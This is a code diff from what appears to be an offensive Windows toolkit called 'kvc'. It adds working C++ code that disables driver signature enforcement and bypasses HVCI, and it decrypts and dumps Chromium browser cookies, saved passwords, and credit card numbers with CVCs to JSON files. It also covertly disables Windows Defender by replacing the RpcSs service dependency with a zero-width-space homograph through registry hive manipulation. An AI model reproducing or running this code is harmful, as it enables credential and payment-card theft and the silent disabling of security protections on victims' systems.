SUCCESS(L"Driver signature enforcement is off (0x%08X -> 0x%08X)", currentValue, newValue);
|
||||
SUCCESS(L"Hypervisor bypassed and library restored");
|
||||
|
||||
return true;
|
||||
}
|
||||
54
kvc/DSEBypass.h
Normal file
54
kvc/DSEBypass.h
Normal file
@@ -0,0 +1,54 @@
|
||||
#pragma once
|
||||
|
||||
#include "kvcDrv.h"
|
||||
#include <memory>
|
||||
#include <optional>
|
||||
#include <utility>
|
||||
|
||||
// Forward declaration
|
||||
class TrustedInstallerIntegrator;
|
||||
|
||||
class DSEBypass {
|
||||
private:
|
||||
std::unique_ptr<kvc>& m_rtc;
|
||||
TrustedInstallerIntegrator* m_trustedInstaller;
|
||||
ULONG_PTR m_ciOptionsAddr = 0;
|
||||
DWORD m_originalValue = 0;
|
||||
|
||||
public:
|
||||
explicit DSEBypass(std::unique_ptr<kvc>& rtc, TrustedInstallerIntegrator* ti);
|
||||
|
||||
// Main DSE control functions
|
||||
bool DisableDSE() noexcept;
|
||||
bool RestoreDSE() noexcept;
|
||||
|
||||
// Getters for debugging and status checks
|
||||
ULONG_PTR GetCiOptionsAddress() const noexcept { return m_ciOptionsAddr; }
|
||||
DWORD GetOriginalValue() const noexcept { return m_originalValue; }
|
||||
|
||||
// Helper functions (needed for status check from kvc.cpp AND Controller)
|
||||
std::optional<ULONG_PTR> GetKernelModuleBase(const char* moduleName) noexcept;
|
||||
ULONG_PTR FindCiOptions(ULONG_PTR ciBase) noexcept;
|
||||
|
||||
// HVCI bypass workflow
|
||||
bool DisableDSEAfterReboot() noexcept;
|
||||
|
||||
// ===== NOWE: Upublicznione dla Controller::DisableDSE() =====
|
||||
bool RenameSkciLibrary() noexcept;
|
||||
bool SaveDSEState(DWORD originalValue) noexcept;
|
||||
bool CreateRunOnceEntry() noexcept;
|
||||
|
||||
private:
|
||||
// Internal PE parsing helpers
|
||||
std::optional<std::pair<ULONG_PTR, SIZE_T>> GetDataSection(ULONG_PTR moduleBase) noexcept;
|
||||
|
||||
// HVCI bypass helpers (RestoreSkciLibrary pozostaje private)
|
||||
bool RestoreSkciLibrary() noexcept;
|
||||
bool LoadDSEState(std::wstring& outState, DWORD& outOriginalValue) noexcept;
|
||||
bool ClearDSEState() noexcept;
|
||||
|
||||
// HVCI/VBS detection
|
||||
bool IsHVCIEnabled(DWORD ciOptionsValue) const noexcept {
|
||||
return (ciOptionsValue & 0x0001C000) != 0;
|
||||
}
|
||||
};
|
||||
240
kvc/DataExtraction.cpp
Normal file
240
kvc/DataExtraction.cpp
Normal file
@@ -0,0 +1,240 @@
|
||||
// DataExtraction.cpp - Profile discovery and database extraction
|
||||
#include "DataExtraction.h"
|
||||
#include "BrowserCrypto.h"
|
||||
#include "CommunicationModule.h"
|
||||
#include <fstream>
|
||||
#include <sstream>
|
||||
#include <algorithm>
|
||||
|
||||
namespace SecurityComponents
|
||||
{
|
||||
namespace Data
|
||||
{
|
||||
// Pre-loads CVC data for payment card processing
|
||||
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
|
||||
{
|
||||
auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
|
||||
sqlite3_stmt* stmt = nullptr;
|
||||
if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
|
||||
return cvcMap;
|
||||
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW)
|
||||
{
|
||||
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
|
||||
if (guid && blob)
|
||||
(*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
|
||||
}
|
||||
sqlite3_finalize(stmt);
|
||||
return cvcMap;
|
||||
}
|
||||
|
||||
// Formats cookie row into JSON
|
||||
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
||||
{
|
||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
|
||||
if (!blob) return std::nullopt;
|
||||
|
||||
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
|
||||
if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
|
||||
return std::nullopt;
|
||||
|
||||
const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
|
||||
size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;
|
||||
|
||||
std::ostringstream json_entry;
|
||||
json_entry << " {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
|
||||
<< ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
|
||||
<< ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
|
||||
<< ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
|
||||
<< ",\"expires\":" << sqlite3_column_int64(stmt, 5)
|
||||
<< ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
|
||||
<< ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
|
||||
<< "}";
|
||||
return json_entry.str();
|
||||
}
|
||||
|
||||
// Formats password row into JSON
|
||||
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
||||
{
|
||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
|
||||
if (!blob) return std::nullopt;
|
||||
|
||||
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
|
||||
return " {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
|
||||
"\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
||||
"\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
|
||||
}
|
||||
|
||||
// Formats payment card row into JSON
|
||||
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
|
||||
{
|
||||
auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
|
||||
std::string card_num_str, cvc_str;
|
||||
|
||||
const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
|
||||
if (blob)
|
||||
{
|
||||
auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
|
||||
card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
||||
}
|
||||
|
||||
const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
|
||||
if (guid && cvcMap && (*cvcMap)->count(guid))
|
||||
{
|
||||
auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
|
||||
cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
|
||||
}
|
||||
|
||||
return " {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
|
||||
"\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
|
||||
",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
|
||||
",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
|
||||
"\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
|
||||
}
|
||||
|
||||
// Returns all extraction configurations
|
||||
const std::vector<ExtractionConfig>& GetExtractionConfigs()
|
||||
{
|
||||
static const std::vector<ExtractionConfig> configs = {
|
||||
{fs::path("Network") / "Cookies", "cookies",
|
||||
"SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
|
||||
nullptr, FormatCookie},
|
||||
|
||||
{"Login Data", "passwords",
|
||||
"SELECT origin_url, username_value, password_value FROM logins;",
|
||||
nullptr, FormatPassword},
|
||||
|
||||
{"Web Data", "payments",
|
||||
"SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
|
||||
SetupPaymentCards, FormatPayment}
|
||||
};
|
||||
return configs;
|
||||
}
|
||||
}
|
||||
|
||||
// ProfileEnumerator implementation
|
||||
ProfileEnumerator::ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger)
|
||||
: m_userDataRoot(userDataRoot), m_logger(logger) {}
|
||||
|
||||
std::vector<fs::path> ProfileEnumerator::FindProfiles()
|
||||
{
|
||||
m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
|
||||
std::vector<fs::path> profilePaths;
|
||||
|
||||
auto isProfileDirectory = [](const fs::path& path)
|
||||
{
|
||||
for (const auto& dataCfg : Data::GetExtractionConfigs())
|
||||
{
|
||||
if (fs::exists(path / dataCfg.dbRelativePath))
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
};
|
||||
|
||||
if (isProfileDirectory(m_userDataRoot))
|
||||
{
|
||||
profilePaths.push_back(m_userDataRoot);
|
||||
}
|
||||
|
||||
std::error_code ec;
|
||||
for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
|
||||
{
|
||||
if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
|
||||
{
|
||||
profilePaths.push_back(entry.path());
|
||||
}
|
||||
}
|
||||
|
||||
if (ec)
|
||||
{
|
||||
m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
|
||||
}
|
||||
|
||||
std::sort(profilePaths.begin(), profilePaths.end());
|
||||
profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());
|
||||
|
||||
m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
|
||||
return profilePaths;
|
||||
}
|
||||
|
||||
// DataExtractor implementation
|
||||
DataExtractor::DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
|
||||
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
|
||||
const fs::path& baseOutputPath, const std::string& browserName)
|
||||
: m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
|
||||
m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}
|
||||
|
||||
void DataExtractor::Extract()
|
||||
{
|
||||
fs::path dbPath = m_profilePath / m_config.dbRelativePath;
|
||||
if (!fs::exists(dbPath))
|
||||
return;
|
||||
|
||||
sqlite3* db = nullptr;
|
||||
std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
|
||||
std::replace(uriPath.begin(), uriPath.end(), '\\', '/');
|
||||
|
||||
if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
|
||||
{
|
||||
m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) +
|
||||
": " + (db ? sqlite3_errmsg(db) : "N/A"));
|
||||
if (db) sqlite3_close_v2(db);
|
||||
return;
|
||||
}
|
||||
|
||||
sqlite3_stmt* stmt = nullptr;
|
||||
if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
|
||||
{
|
||||
sqlite3_close_v2(db);
|
||||
return;
|
||||
}
|
||||
|
||||
void* preQueryState = nullptr;
|
||||
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
|
||||
if (m_config.preQuerySetup)
|
||||
{
|
||||
cvcMap = m_config.preQuerySetup(db);
|
||||
preQueryState = &cvcMap;
|
||||
}
|
||||
|
||||
std::vector<std::string> jsonEntries;
|
||||
while (sqlite3_step(stmt) == SQLITE_ROW)
|
||||
{
|
||||
if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
|
||||
{
|
||||
jsonEntries.push_back(*jsonEntry);
|
||||
}
|
||||
}
|
||||
|
||||
sqlite3_finalize(stmt);
|
||||
sqlite3_close_v2(db);
|
||||
|
||||
if (!jsonEntries.empty())
|
||||
{
|
||||
fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() /
|
||||
(m_config.outputFileName + ".json");
|
||||
|
||||
std::error_code ec;
|
||||
fs::create_directories(outFilePath.parent_path(), ec);
|
||||
if (ec)
|
||||
{
|
||||
m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
|
||||
return;
|
||||
}
|
||||
|
||||
std::ofstream out(outFilePath, std::ios::trunc);
|
||||
if (!out) return;
|
||||
|
||||
out << "[\n";
|
||||
for (size_t i = 0; i < jsonEntries.size(); ++i)
|
||||
{
|
||||
out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
|
||||
}
|
||||
out << "\n]\n";
|
||||
|
||||
m_logger.Log(" [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName +
|
||||
" extracted to " + StringUtils::path_to_string(outFilePath));
|
||||
}
|
||||
}
|
||||
}
|
||||
83
kvc/DataExtraction.h
Normal file
83
kvc/DataExtraction.h
Normal file
@@ -0,0 +1,83 @@
|
||||
// DataExtraction.h - Database extraction and profile enumeration
|
||||
#ifndef DATA_EXTRACTION_H
|
||||
#define DATA_EXTRACTION_H
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
#include <filesystem>
|
||||
#include <memory>
|
||||
#include <unordered_map>
|
||||
#include "winsqlite3.h"
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
namespace SecurityComponents
|
||||
{
|
||||
class PipeLogger;
|
||||
|
||||
// Data extraction configuration and operations
|
||||
namespace Data
|
||||
{
|
||||
constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;
|
||||
|
||||
typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
|
||||
typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
|
||||
|
||||
struct ExtractionConfig
|
||||
{
|
||||
fs::path dbRelativePath;
|
||||
std::string outputFileName;
|
||||
std::string sqlQuery;
|
||||
PreQuerySetupFunc preQuerySetup;
|
||||
JsonFormatterFunc jsonFormatter;
|
||||
};
|
||||
|
||||
// Pre-query setup function for payment cards
|
||||
std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db);
|
||||
|
||||
// JSON formatters for different data types
|
||||
std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
|
||||
std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
|
||||
std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
|
||||
|
||||
// Returns all extraction configurations
|
||||
const std::vector<ExtractionConfig>& GetExtractionConfigs();
|
||||
}
|
||||
|
||||
// Discovers all available browser profiles
|
||||
class ProfileEnumerator
|
||||
{
|
||||
public:
|
||||
ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger);
|
||||
|
||||
// Returns paths to all valid profile directories
|
||||
std::vector<fs::path> FindProfiles();
|
||||
|
||||
private:
|
||||
fs::path m_userDataRoot;
|
||||
PipeLogger& m_logger;
|
||||
};
|
||||
|
||||
// Extracts data from a specific database within a profile
|
||||
class DataExtractor
|
||||
{
|
||||
public:
|
||||
DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
|
||||
const std::vector<uint8_t>& aesKey, PipeLogger& logger,
|
||||
const fs::path& baseOutputPath, const std::string& browserName);
|
||||
|
||||
// Performs extraction for configured data type
|
||||
void Extract();
|
||||
|
||||
private:
|
||||
fs::path m_profilePath;
|
||||
const Data::ExtractionConfig& m_config;
|
||||
const std::vector<uint8_t>& m_aesKey;
|
||||
PipeLogger& m_logger;
|
||||
fs::path m_baseOutputPath;
|
||||
std::string m_browserName;
|
||||
};
|
||||
}
|
||||
|
||||
#endif // DATA_EXTRACTION_H
|
||||
312
kvc/DefenderManager.cpp
Normal file
312
kvc/DefenderManager.cpp
Normal file
@@ -0,0 +1,312 @@
|
||||
// Implementation of Windows Defender Security Engine management
|
||||
|
||||
#include "DefenderManager.h"
|
||||
#include "common.h"
|
||||
#include <filesystem>
|
||||
#include <algorithm>
|
||||
#include <iostream>
|
||||
|
||||
using namespace std;
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Console color helper (using existing SetColor function from main application)
|
||||
extern void SetColor(int color);
|
||||
|
||||
// ============================================================================
|
||||
// PUBLIC INTERFACE IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
// Disables Windows Defender security engine by modifying registry dependencies
|
||||
bool DefenderManager::DisableSecurityEngine() noexcept
|
||||
{
|
||||
std::wcout << L"Disabling Windows Security Engine...\n";
|
||||
return ModifySecurityEngine(false);
|
||||
}
|
||||
|
||||
// Enables Windows Defender security engine by modifying registry dependencies
|
||||
bool DefenderManager::EnableSecurityEngine() noexcept
|
||||
{
|
||||
std::wcout << L"Enabling Windows Security Engine...\n";
|
||||
return ModifySecurityEngine(true);
|
||||
}
|
||||
|
||||
// Queries current Windows Defender state by checking RpcSs (enabled) - Homograph Attack
|
||||
DefenderManager::SecurityState DefenderManager::GetSecurityEngineStatus() noexcept
|
||||
{
|
||||
try {
|
||||
HKEY key;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, WINDEFEND_KEY, 0, KEY_READ, &key) != ERROR_SUCCESS) {
|
||||
return SecurityState::UNKNOWN;
|
||||
}
|
||||
|
||||
auto values = ReadMultiString(key, DEPEND_VALUE);
|
||||
RegCloseKey(key);
|
||||
|
||||
if (values.empty()) return SecurityState::UNKNOWN;
|
||||
|
||||
// Check if RpcSs (active) or RpcSs\x200B (inactive) is present
|
||||
bool hasActive = find(values.begin(), values.end(), RPC_SERVICE_ACTIVE) != values.end();
|
||||
bool hasInactive = find(values.begin(), values.end(), RPC_SERVICE_INACTIVE) != values.end();
|
||||
|
||||
if (hasActive) return SecurityState::ENABLED;
|
||||
if (hasInactive) return SecurityState::DISABLED;
|
||||
|
||||
return SecurityState::UNKNOWN;
|
||||
}
|
||||
catch (...) {
|
||||
return SecurityState::UNKNOWN;
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// CORE OPERATIONS IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
// Core registry manipulation logic - creates snapshot, modifies dependencies, and restores atomically
|
||||
bool DefenderManager::ModifySecurityEngine(bool enable) noexcept
|
||||
{
|
||||
try {
|
||||
// Enable required privileges first
|
||||
if (!EnableRequiredPrivileges()) {
|
||||
std::wcout << L"Failed to enable required privileges - run as administrator\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Create registry working context
|
||||
RegistryContext ctx;
|
||||
if (!CreateRegistrySnapshot(ctx)) {
|
||||
std::wcout << L"Failed to create registry snapshot\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Modify defender dependencies
|
||||
if (!ModifyDefenderDependencies(ctx, enable)) {
|
||||
std::wcout << L"Failed to modify Defender dependencies\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Restore modified registry
|
||||
if (!RestoreRegistrySnapshot(ctx)) {
|
||||
std::wcout << L"Failed to restore registry snapshot\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wcout << L"Security engine " << (enable ? L"enabled" : L"disabled") << L" successfully\n";
|
||||
std::wcout << L"System restart required to apply changes\n";
|
||||
return true;
|
||||
}
|
||||
catch (...) {
|
||||
std::wcout << L"Exception in ModifySecurityEngine\n";
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Creates temporary registry snapshot by saving Services hive to temp file and loading as HKLM\Temp
|
||||
bool DefenderManager::CreateRegistrySnapshot(RegistryContext& ctx) noexcept
|
||||
{
|
||||
ctx.tempPath = ::GetSystemTempPath();
|
||||
if (ctx.tempPath.empty()) {
|
||||
std::wcout << L"Failed to get system temp path\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Ensure temp directory exists and is writable
|
||||
if (!PathUtils::ValidateDirectoryWritable(ctx.tempPath)) {
|
||||
std::wcout << L"Cannot write to temp directory: " << ctx.tempPath << L"\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
ctx.hiveFile = ctx.tempPath + L"Services.hiv";
|
||||
|
||||
// Clean up any existing hive file
|
||||
if (fs::exists(ctx.hiveFile) && !DeleteFileW(ctx.hiveFile.c_str())) {
|
||||
std::wcout << L"Failed to delete existing hive file\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Unload any existing temp registry hive
|
||||
HKEY tempCheck;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Temp", 0, KEY_READ, &tempCheck) == ERROR_SUCCESS) {
|
||||
RegCloseKey(tempCheck);
|
||||
RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp");
|
||||
}
|
||||
|
||||
// Save current services registry hive
|
||||
HKEY servicesKey;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, SERVICES_KEY, 0, KEY_READ, &servicesKey) != ERROR_SUCCESS) {
|
||||
std::wcout << L"Failed to open Services registry key\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
LONG result = RegSaveKeyExW(servicesKey, ctx.hiveFile.c_str(), nullptr, REG_LATEST_FORMAT);
|
||||
RegCloseKey(servicesKey);
|
||||
|
||||
if (result != ERROR_SUCCESS) {
|
||||
std::wcout << L"Failed to save registry hive: " << result << L"\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
// Load saved hive as temporary key
|
||||
if (RegLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp", ctx.hiveFile.c_str()) != ERROR_SUCCESS) {
|
||||
std::wcout << L"Failed to load registry hive as temp key\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Modifies Windows Defender service dependencies in temp registry by transforming RpcSs↔RpcSs\x200B
|
||||
bool DefenderManager::ModifyDefenderDependencies(const RegistryContext& ctx, bool enable) noexcept
|
||||
{
|
||||
HKEY tempKey;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"Temp\\WinDefend", 0, KEY_READ | KEY_WRITE, &tempKey) != ERROR_SUCCESS) {
|
||||
std::wcout << L"Failed to open temporary WinDefend key\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
auto values = ReadMultiString(tempKey, DEPEND_VALUE);
|
||||
if (values.empty()) {
|
||||
std::wcout << L"No DependOnService values found\n";
|
||||
RegCloseKey(tempKey);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Transform RPC service dependency
|
||||
for (auto& value : values) {
|
||||
if (enable && value == RPC_SERVICE_INACTIVE) {
|
||||
value = RPC_SERVICE_ACTIVE; // RpcSs\x200B -> RpcSs (enable)
|
||||
}
|
||||
else if (!enable && value == RPC_SERVICE_ACTIVE) {
|
||||
value = RPC_SERVICE_INACTIVE; // RpcSs -> RpcSs\x200B (disable)
|
||||
}
|
||||
}
|
||||
|
||||
bool success = WriteMultiString(tempKey, DEPEND_VALUE, values);
|
||||
RegCloseKey(tempKey);
|
||||
|
||||
if (!success) {
|
||||
std::wcout << L"Failed to write modified dependency values\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// Restores modified registry snapshot to live system by unloading temp hive and forcing restore
|
||||
bool DefenderManager::RestoreRegistrySnapshot(const RegistryContext& ctx) noexcept
|
||||
{
|
||||
// Unload temporary registry hive
|
||||
if (RegUnLoadKeyW(HKEY_LOCAL_MACHINE, L"Temp") != ERROR_SUCCESS) {
|
||||
std::wcout << L"Warning: Failed to unload temporary registry hive\n";
|
||||
}
|
||||
|
||||
// Restore modified hive to live registry
|
||||
HKEY servicesKey;
|
||||
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, SERVICES_KEY, 0, KEY_WRITE, &servicesKey) != ERROR_SUCCESS) {
|
||||
std::wcout << L"Failed to open Services key for restore\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
LONG result = RegRestoreKeyW(servicesKey, ctx.hiveFile.c_str(), REG_FORCE_RESTORE);
|
||||
RegCloseKey(servicesKey);
|
||||
|
||||
if (result != ERROR_SUCCESS) {
|
||||
std::wcout << L"Failed to restore modified registry hive: " << result << L"\n";
|
||||
return false;
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PRIVILEGE MANAGEMENT IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
// Enables SE_BACKUP_NAME, SE_RESTORE_NAME and SE_LOAD_DRIVER_NAME privileges required for registry operations
|
||||
bool DefenderManager::EnableRequiredPrivileges() noexcept
|
||||
{
|
||||
return PrivilegeUtils::EnablePrivilege(SE_BACKUP_NAME) &&
|
||||
PrivilegeUtils::EnablePrivilege(SE_RESTORE_NAME) &&
|
||||
PrivilegeUtils::EnablePrivilege(SE_LOAD_DRIVER_NAME);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// HELPER UTILITIES IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
// Reads REG_MULTI_SZ registry value as string vector by parsing null-terminated strings
|
||||
vector<wstring> DefenderManager::ReadMultiString(HKEY key, const wstring& valueName) noexcept
|
||||
{
|
||||
DWORD type, size;
|
||||
if (RegQueryValueExW(key, valueName.c_str(), nullptr, &type, nullptr, &size) != ERROR_SUCCESS ||
|
||||
type != REG_MULTI_SZ) {
|
||||
return {};
|
||||
}
|
||||
|
||||
vector<wchar_t> buffer(size / sizeof(wchar_t));
|
||||
if (RegQueryValueExW(key, valueName.c_str(), nullptr, &type,
|
||||
reinterpret_cast<BYTE*>(buffer.data()), &size) != ERROR_SUCCESS) {
|
||||
return {};
|
||||
}
|
||||
|
||||
vector<wstring> result;
|
||||
const wchar_t* current = buffer.data();
|
||||
|
||||
while (*current != L'\0') {
|
||||
result.emplace_back(current);
|
||||
current += result.back().size() + 1;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
// Writes string vector to REG_MULTI_SZ registry value with proper double null terminator
|
||||
bool DefenderManager::WriteMultiString(HKEY key, const wstring& valueName,
|
||||
const vector<wstring>& values) noexcept
|
||||
{
|
||||
vector<wchar_t> buffer;
|
||||
|
||||
for (const auto& str : values) {
|
||||
buffer.insert(buffer.end(), str.begin(), str.end());
|
||||
buffer.push_back(L'\0');
|
||||
}
|
||||
buffer.push_back(L'\0'); // Double null terminator
|
||||
|
||||
return RegSetValueExW(key, valueName.c_str(), 0, REG_MULTI_SZ,
|
||||
reinterpret_cast<const BYTE*>(buffer.data()),
|
||||
static_cast<DWORD>(buffer.size() * sizeof(wchar_t))) == ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// REGISTRY CONTEXT CLEANUP IMPLEMENTATION
|
||||
// ============================================================================
|
||||
|
||||
// Cleans up temporary registry files including hive, transaction logs and regtrans-ms files
|
||||
void DefenderManager::RegistryContext::Cleanup() noexcept
|
||||
{
|
||||
if (hiveFile.empty()) return;
|
||||
|
||||
// Standard cleanup patterns
|
||||
vector<wstring> patterns = {
|
||||
hiveFile,
|
||||
hiveFile + L".LOG1",
|
||||
hiveFile + L".LOG2",
|
||||
hiveFile + L".blf"
|
||||
};
|
||||
|
||||
for (const auto& file : patterns) {
|
||||
DeleteFileW(file.c_str());
|
||||
}
|
||||
|
||||
// Clean transaction files
|
||||
try {
|
||||
for (const auto& entry : fs::directory_iterator(tempPath)) {
|
||||
if (entry.path().extension() == L".regtrans-ms") {
|
||||
DeleteFileW(entry.path().c_str());
|
||||
}
|
||||
}
|
||||
}
|
||||
catch (...) {
|
||||
// Ignore cleanup errors
|
||||
}
|
||||
}
|
||||
75
kvc/DefenderManager.h
Normal file
75
kvc/DefenderManager.h
Normal file
@@ -0,0 +1,75 @@
|
||||
// DefenderManager.h
|
||||
// Windows Defender security engine control via registry operations (privileged, restart required)
|
||||
|
||||
#pragma once
|
||||
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <memory>
|
||||
|
||||
// Manage Windows Defender by swapping service dependencies in the registry (requires privileges, restart)
|
||||
class DefenderManager {
|
||||
public:
|
||||
// Security engine state based on WinDefend service dependency
|
||||
enum class SecurityState {
|
||||
ENABLED, // Defender engine active (RpcSs)
|
||||
DISABLED, // Defender engine inactive (RpcSs\x200B)
|
||||
UNKNOWN // State could not be determined
|
||||
};
|
||||
|
||||
// Disable Windows Defender by changing service dependency to RpcSs\x200B (requires admin + restart)
|
||||
static bool DisableSecurityEngine() noexcept;
|
||||
|
||||
// Enable Windows Defender by restoring service dependency to RpcSs (requires admin + restart)
|
||||
static bool EnableSecurityEngine() noexcept;
|
||||
|
||||
// Query current Defender state by reading service dependency (read-only, safe)
|
||||
static SecurityState GetSecurityEngineStatus() noexcept;
|
||||
|
||||
private:
|
||||
// Temporary registry snapshot context for atomic service-hive modifications
|
||||
struct RegistryContext {
|
||||
std::wstring tempPath; // Temp directory for hive files
|
||||
std::wstring hiveFile; // Saved Services hive path
|
||||
|
||||
RegistryContext() = default;
|
||||
~RegistryContext() { Cleanup(); } // Auto-cleanup of temp files
|
||||
|
||||
RegistryContext(const RegistryContext&) = delete;
|
||||
RegistryContext& operator=(const RegistryContext&) = delete;
|
||||
